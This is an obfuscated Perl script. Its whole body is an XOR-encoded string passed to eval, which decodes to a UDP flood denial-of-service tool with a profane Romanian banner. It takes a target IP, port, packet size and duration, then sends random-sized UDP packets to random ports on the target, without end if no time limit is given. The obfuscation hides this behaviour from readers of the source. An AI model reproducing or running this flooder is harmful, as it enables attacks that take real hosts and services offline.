#!/usr/bin/perl
 
eval eval '"'.


'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.('!'^'+').'#'.('{'^'[').('`'^'&').('`'^',').
('`'^'!').('{'^'-').('{'^'"').('!'^'+').'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.'#'.('!'
^'+').('{'^'[').('!'^'+').('['^'.').('['^'(').('`'|'%').('{'^'[').('{'^'(').('`'|'/').('`'|'#').('`'
|'+').('`'|'%').('['^'/').';'.('!'^'+').('['^'.').('['^'(').('`'|'%').('{'^'[').('['^'(').('['^'/').
('['^')').('`'|')').('`'|'#').('['^'/').';'.('!'^'+').('['^'.').('['^'(').('`'|'%').('{'^'[').("\{"^
'/').('`'|'%').('['^')').('`'|'-').':'.':'.('`'^'!').('`'^'.').('{'^'(').('`'^')').('`'^'#').(('`')|
'/').('`'|',').('`'|'/').('['^')').('{'^'[').('['^'*').('['^',').'('.':'.('`'|'#').('`'|'/').(('`')|
'.').('['^'(').('['^'/').('`'|'!').('`'|'.').('['^'/').('['^'(').')'.';'.('!'^'+').('{'^'[').(('!')^
'+').('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').('{'^'[').('{'^'"').('`'^'%').('`'^',').('`'^
',').('`'^'/').('{'^',').','.('{'^'[')."'".('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').(('{')^
'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^
'[').('{'^'[').('{'^'[').('!'^'+').('!'^'+').'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='
.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='
.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='
.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.('{'^'[').('{'^'[')
.('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[').('{'^'[')
.('{'^'[').('{'^'[').('{'^'[').('{'^'[').('!'^'+').'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='."\=".
'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.('`'^'!').('{'^')').('`'^'(').('`'^')').
('{'^'-').('`'^'!').('{'^'[').('{'^'+').('{'^')').('`'^')').('{'^'-').('`'^'!').('{'^'/').('`'^'!').
('{'^'[').('`'^'&').('`'^'!').('`'^'#').('{'^'.').('{'^'/').('`'^'!').('{'^'[').('`'^'$').('`'^'%').
('{'^'[').('`'^'&').('`'^',').('`'^'!').('{'^'-').('`'^')').('{'^'.').('{'^'(').'='.'='.'='.'='.'='.
'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.('!'^'+').'='.('=').
'='.'='.'='.('`'^'-').('{'^'.').('`'^')').('`'^'%').('{'^'[').('`'^',').('`'^'!').('{'^'[').('{'^'/'
).('`'^'/').('`'^'!').('{'^'/').('`'^'%').('{'^'[').('`'^'#').('{'^'.').('{'^')').('{'^'-').('`'^'%'
).('`'^',').('`'^'%').('{'^'[').('`'^'#').('`'^'!').('{'^')').('`'^'%').('{'^'[').('`'^'-').'-'.('`'
^'!').('{'^'.').('{'^'[').('`'^'&').('`'^'!').('`'^'#').('{'^'.').('{'^'/').('{'^'[').('{'^'+').('`'
^'%').('{'^'[').('`'^'-').('`'^')').('`'^'.').('`'^'%').('{'^'[').('{'^'(').('`'^'!').('{'^'[').('{'
^'(').('{'^'.').('`'^'&').('`'^'!').('{'^')').('{'^'[').('{'^'(').('`'^')').('{'^'[').('{'^'+').('`'
^'%').('{'^'[').('`'^'&').('{'^')').('`'^'!').('{'^'/').('`'^')').('`'^')').('{'^'[').('`'^'-').('`'
^'%').('`'^')').'!'.'!'.'='.'='.'='.'='.'='.'='.('!'^'+').'='.'='.'='.'='.'='.'='.'='.'='.'='.('=').
'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.
'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.
'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.'='.('!'
^'+').('!'^'+')."'".','.('{'^'[').('{'^')').('`'^'%').('{'^'(').('`'^'%').('{'^'/').';'.('!'^"\+").(
'['^'+').('['^')').('`'|')').('`'|'.').('['^'/').('{'^'[').'\\'.'"'.'\\'.'\\'.('`'|'.').'\\'.'"'.';'
.('!'^'+').('{'^'[').('!'^'+').('`'|')').('`'|'&').('{'^'[').'('.'\\'.'$'.'#'.('`'^'!').('{'^"\)").(
'`'^"'").('{'^'-').('{'^'[').'!'.'='.('{'^'[').('^'^('`'|'-')).')'.('{'^'[').'\\'.'{'.('!'^'+').('{'
^'[').('{'^'[').('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').('{'^'[').('{'^')').('`'^'%').('`'
^'$').','.('{'^'[').'\\'.'"'.('`'|'&').('`'|',').('`'|'!').('['^'-').('['^'"').('{'^'[').'<'.(('`')|
')').('['^'+').'>'.('{'^'[').'<'.('['^'+').('`'|'/').('['^')').('['^'/').'>'.('{'^'[').'<'.('`'|'"')
.('`'|')').('['^'/').('`'|')').'>'.('{'^'[').'<'.('['^'/').('`'|')').('`'|'-').('['^'+').'>'.('\\').
'\\'.('`'|'.').'\\'.'"'.','.('{'^'[').('{'^')').('`'^'%').('{'^'(').('`'^'%').('{'^'/').';'.('!'^'+'
).('{'^'[').('{'^'[').('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').('{'^'[').('{'^'"').('`'^'%'
).('`'^',').('`'^',').('`'^'/').('{'^',').','.('{'^'[').'\\'.'"'.('{'^'[').('{'^'+').('`'^'/').('{'^
')').('{'^'/').'='.('^'^('`'|'.')).':'.('{'^'[').('{'^'+').('`'^'/').('{'^')').('{'^'/').('{'^'[').(
'`'^',').('`'^'!').('{'^'[').('`'^'.').('`'^')').('`'^'-').('`'^'%').('{'^')').('`'^'%').('`'^'!').(
'`'^',').('`'^'!').'\\'.'\\'.('`'|'.').'\\'.'"'.','.('{'^'[').('{'^')').('`'^'%').('{'^'(').('`'^'%'
).('{'^'/').';'.('!'^'+').('{'^'[').('{'^'[').('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').('{'
^'[').('{'^',').('`'^'(').('`'^')').('{'^'/').('`'^'%').','.('{'^'[').'\\'.'"'.('{'^'[').('{'^'+').(
'`'^'!').('`'^'#').('`'^'(').('`'^'%').('{'^'/').('`'^'%').'='.('^'^('`'|'(')).('^'^('`'|'+')).('^'^
('`'|'+')).('^'^('`'|'.')).('^'^('`'|'.')).':'.('{'^'[').('`'^'-').('`'^')').('`'^'.').('`'^(')')).(
'`'^'-').('{'^'[').('^'^('`'|'(')).('^'^('`'|'*')).('{'^'[').','.('{'^'[').('`'^'-').('`'^'!').('{'^
'#').('`'^')').('`'^'-').('{'^'[').('^'^('`'|'(')).('^'^('`'|'+')).('^'^('`'|'+')).('^'^('`'|'.')).(
'^'^('`'|'.')).'\\'.'\\'.('`'|'.').'\\'.'"'.','.('{'^'[').('{'^')').('`'^'%').('{'^'(').('`'^"\%").(
'{'^'/').';'.('!'^'+').('{'^'[').('{'^'[').('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').(('{')^
'[').('`'^"'").('{'^')').('`'^'%').('`'^'%').('`'^'.').','.('{'^'[').'\\'.'"'.('{'^'[').('{'^"\/").(
'`'^')').('`'^'-').('{'^'+').'='.('^'^('`'|'.')).':'.('{'^'[').('`'^'&').('`'^',').('`'^'/').(('`')^
'/').('`'^'$').('{'^'[').('`'^'#').('`'^'/').('`'^'.').('{'^'/').('`'^')').('`'^'.').('{'^'.').('{'^
'.').'\\'.'\\'.('`'|'.').'\\'.'"'.','.('{'^'[').('{'^')').('`'^'%').('{'^'(').('`'^'%').('{'^('/')).
';'.('!'^'+').('{'^'[').('{'^'[').('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').('{'^'[').("\`"^
'"').('`'^',').('{'^'.').('`'^'%').','.('{'^'[').'\\'.'"'.('{'^'-').('['^')').('`'|'%').('`'|"\)").(
'{'^'[').('['^'(').('`'|'!').'-'.('['^'(').('`'|')').('{'^'[').('['^')').('`'|'%').('['^'-').(('`')|
')').('`'|'.').('`'|'!').'?'.'?'.'!'.('{'^'[').('`'^'!').('['^'+').('`'|'!').('['^'(').('`'|('!')).(
'{'^'[').('`'^'#').('{'^'/').('{'^')').('`'^',').'+'.('`'^'#').'\\'.'\\'.('`'|'.').'\\'.'"'.','.('{'
^'[').('{'^')').('`'^'%').('{'^'(').('`'^'%').('{'^'/').';'.('!'^'+').('{'^'[').('{'^'[').('`'|'%').
('['^'#').('`'|')').('['^'/').'('.('^'^('`'|'/')).')'.';'.('!'^'+').'\\'.'}'.('!'^'+').('{'^('[')).(
'!'^'+').('`'|'-').('['^'"').('{'^'[').'('.'\\'.'$'.('`'|')').('['^'+').','.'\\'.'$'.('['^'+').('`'|
'/').('['^')').('['^'/').','.'\\'.'$'.('['^'(').('`'|')').('['^'!').('`'|'%').','.'\\'.'$'.('['^'/')
.('`'|')').('`'|'-').('`'|'%').')'.('{'^'[').'='.('{'^'[').'\\'.'@'.('`'^'!').('{'^')').('`'^"\'").(
'{'^'-').';'.('!'^'+').('{'^'[').('!'^'+').('`'|'-').('['^'"').('{'^'[').'('.'\\'.'$'.('`'|')').('`'
|'!').('`'|'$').('`'|'$').('['^')').','.'\\'.'$'.('`'|'%').('`'|'.').('`'|'$').('['^'/').('`'|')').(
'`'|'-').('`'|'%').','.'\\'.'$'.('['^'+').('['^'(').('`'|')').('['^'!').('`'|'%').','.'\\'.'$'.('['^
'+').('['^'+').('`'|'/').('['^')').('['^'/').')'.';'.('!'^'+').('{'^'[').('!'^'+').'\\'.'$'.('`'|')'
).('`'|'!').('`'|'$').('`'|'$').('['^')').('{'^'[').'='.('{'^'[').('`'|')').('`'|'.').('`'|'%').('['
^'/').'_'.('`'|'!').('['^'/').('`'|'/').('`'|'.').'('.'\\'.'"'.'\\'.'$'.('`'|')').('['^'+').'\\'.'"'
.')'.('{'^'[').('`'|'/').('['^')').('{'^'[').('`'|'$').('`'|')').('`'|'%').('{'^'[').'\\'.'"'.("\`"^
'$').('`'^'!').('{'^'[').('`'^')').('{'^'+').('{'^'[').('{'^'(').('`'^'#').('`'^',').('`'^'!').('{'^
'-').('{'^'.').('`'^',').('`'^'%').('{'^'[').'\\'.'$'.('`'|')').('['^'+').'\\'.'\\'.('`'|"\.").'\\'.
'"'.';'.('!'^'+').'\\'.'$'.('`'|'%').('`'|'.').('`'|'$').('['^'/').('`'|')').('`'|'-').('`'|('%')).(
'{'^'[').'='.('{'^'[').('['^'/').('`'|')').('`'|'-').('`'|'%').'('.')'.('{'^'[').'+'.('{'^'[')."\(".
'\\'.'$'.('['^'/').('`'|')').('`'|'-').('`'|'%').('{'^'[').'?'.('{'^'[').'\\'.'$'.('['^'/').('`'|')'
).('`'|'-').('`'|'%').('{'^'[').':'.('{'^'[').('^'^('`'|'/')).('^'^('`'|'.')).('^'^('`'|'.')).('^'^(
'`'|'.')).('^'^('`'|'.')).('^'^('`'|'.')).('^'^('`'|'.')).')'.';'.('!'^'+').('{'^'[').('!'^'+').('['
^'(').('`'|'/').('`'|'#').('`'|'+').('`'|'%').('['^'/').'('.('`'|'&').('`'|',').('`'|'/').('`'|'/').
('`'|'$').','.('{'^'[').('{'^'+').('`'^'&').'_'.('`'^')').('`'^'.').('`'^'%').('{'^'/').','.('{'^'['
).('{'^'(').('`'^'/').('`'^'#').('`'^'+').'_'.('`'^'$').('`'^"'").('{'^')').('`'^'!').('`'^'-').','.
('{'^'[').('^'^('`'|'/')).('^'^('`'|')')).')'.';'.('!'^'+').('{'^'[').('!'^'+').('{'^'[').('!'^'+').
('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').('{'^'[').'\\'.'"'.('`'^')').('{'^'+').('{'^"\[").
'\\'.'$'.('`'|')').('['^'+').('{'^'[').'\\'.'"'.('{'^'[').'.'.('{'^'[').'('.'\\'.'$'.('['^'+').('`'|
'/').('['^')').('['^'/').('{'^'[').'?'.('{'^'[').'\\'.'$'.('['^'+').('`'|'/').('['^')').('['^"\/").(
'{'^'[').':'.('{'^'[').'\\'.'"'.('['^')').('`'|'!').('`'|'.').('`'|'$').('`'|'/').('`'|'-').'\\'.'"'
.')'.('{'^'[').'.'.('{'^'[').'\\'.'"'.('{'^'[').('{'^'+').('`'^'/').('{'^')').('{'^'/').('{'^('[')).
'\\'.'"'.('{'^'[').'.'.('!'^'+').('{'^'[').('{'^'[').'('.'\\'.'$'.('['^'(').('`'|')').('['^'!').('`'
|'%').('{'^'[').'?'.('{'^'[').'\\'.'"'.'\\'.'$'.('['^'(').('`'|')').('['^'!').('`'|'%').'-'.('`'|'"'
).('['^'"').('['^'/').('`'|'%').('['^'(').'\\'.'"'.('{'^'[').':'.('{'^'[').'\\'.'"'.('['^')').("\`"|
'!').('`'|'.').('`'|'$').('`'|'/').('`'|'-').('{'^'[').('['^'(').('`'|')').('['^'!').('`'|'%').'\\'.
'"'.')'.('{'^'[').'.'.('{'^'[').'\\'.'"'.('{'^'[').('{'^'+').('`'^'!').('`'^'#').('`'^'(').('`'^'%')
.('{'^'/').('`'^'%').'\\'.'"'.('{'^'[').'.'.('!'^'+').('{'^'[').('{'^'[').'('.'\\'.'$'.('['^('/')).(
'`'|')').('`'|'-').('`'|'%').('{'^'[').'?'.('{'^'[').'\\'.'"'.('{'^'[').('['^'+').('`'|'/').('['^')'
).('{'^'[').'\\'.'$'.('['^'/').('`'|')').('`'|'-').('`'|'%').('{'^'[').('{'^'(').('`'^'%').('`'^'#')
.('{'^'.').('`'^'.').('`'^'$').('`'^'%').'.'.('{'^'[').'\\'.'"'.('{'^'[').':'.('{'^'[').'\\'.'"'.''.
'\\'.'"'.')'.('{'^'[').'.'.('{'^'[').'\\'.'"'.'\\'.'\\'.('`'|'.').'\\'.'"'.';'.('!'^'+').('['^'+').(
'['^')').('`'|')').('`'|'.').('['^'/').('{'^'[').'\\'.'"'.('`'^'#').('`'^'!').('{'^'[').('{'^"\(").(
'`'^'!').('{'^'[').('`'^'/').('{'^'+').('{'^')').('`'^'%').('{'^'(').('{'^'/').('`'^')').('{'^'[').(
'`'^'&').('`'^',').('`'^'/').('`'^'/').('`'^'$').('{'^'[').('`'^'!').('{'^'+').('`'^'!').('{'^'(').(
'`'^'!').('{'^'[').('`'^'#').('{'^'/').('{'^')').('`'^',').'+'.('`'^'#').'\\'.'\\'.('`'|'.').('\\').
'"'.('{'^'[').('['^'.').('`'|'.').('`'|',').('`'|'%').('['^'(').('['^'(').('{'^'[').'\\'.'$'.(('[')^
'/').('`'|')').('`'|'-').('`'|'%').';'.('!'^'+').('{'^'[').('!'^'+').('`'|'&').('`'|'/').('['^')').(
'{'^'[').'('.';'.('['^'/').('`'|')').('`'|'-').('`'|'%').'('.')'.('{'^'[').'<'.'='.('{'^'[').('\\').
'$'.('`'|'%').('`'|'.').('`'|'$').('['^'/').('`'|')').('`'|'-').('`'|'%').';'.')'.('{'^'[').'\\'.'{'
.('!'^'+').('{'^'[').('{'^'[').'\\'.'$'.('['^'+').('['^'(').('`'|')').('['^'!').('`'|'%').('{'^'[').
'='.('{'^'[').'\\'.'$'.('['^'(').('`'|')').('['^'!').('`'|'%').('{'^'[').'?'.('{'^'[').'\\'.'$'.('['
^'(').('`'|')').('['^'!').('`'|'%').('{'^'[').':'.('{'^'[').('`'|')').('`'|'.').('['^'/').'('.("\["^
')').('`'|'!').('`'|'.').('`'|'$').'('.('^'^('`'|'(')).('^'^('`'|'+')).('^'^('`'|'+')).('^'^('`'|'.'
)).('^'^('`'|'.')).'-'.('^'^('`'|'(')).('^'^('`'|'*')).')'.'+'.('^'^('`'|'(')).('^'^('`'|'*')).')'.(
'{'^'[').';'.('!'^'+').('{'^'[').('{'^'[').'\\'.'$'.('['^'+').('['^'+').('`'|'/').('['^')').('['^'/'
).('{'^'[').'='.('{'^'[').'\\'.'$'.('['^'+').('`'|'/').('['^')').('['^'/').('{'^'[').'?'.('{'^"\[").
'\\'.'$'.('['^'+').('`'|'/').('['^')').('['^'/').('{'^'[').':'.('{'^'[').('`'|')').('`'|'.').(('[')^
'/').'('.('['^')').('`'|'!').('`'|'.').('`'|'$').'('.('^'^('`'|'(')).('^'^('`'|'+')).('^'^('`'|'+'))
.('^'^('`'|'.')).('^'^('`'|'.')).')'.')'.'+'.('^'^('`'|'/')).';'.('!'^'+').('{'^'[').('!'^'+').('{'^
'[').('{'^'[').('['^'(').('`'|'%').('`'|'.').('`'|'$').'('.('`'|'&').('`'|',').('`'|'/').('`'|'/').(
'`'|'$').','.('{'^'[').('['^'+').('`'|'!').('`'|'#').('`'|'+').'('.'\\'.'"'.('`'|'!').'\\'.'$'.('['^
'+').('['^'(').('`'|')').('['^'!').('`'|'%').'\\'.'"'.','.'\\'.'"'.('`'|'&').('`'|',').('`'|('/')).(
'`'|'/').('`'|'$').'\\'.'"'.')'.','.('{'^'[').('^'^('`'|'.')).','.('{'^'[').('['^'+').('`'|'!').('`'
|'#').('`'|'+').'_'.('['^'(').('`'|'/').('`'|'#').('`'|'+').('`'|'!').('`'|'$').('`'|'$').('['^')').
'_'.('`'|')').('`'|'.').'('.'\\'.'$'.('['^'+').('['^'+').('`'|'/').('['^')').('['^'/').','.('{'^'[')
.'\\'.'$'.('`'|')').('`'|'!').('`'|'$').('`'|'$').('['^')').')'.')'.';'.'\\'.'}'.'"';$:='.'^"\~";#;#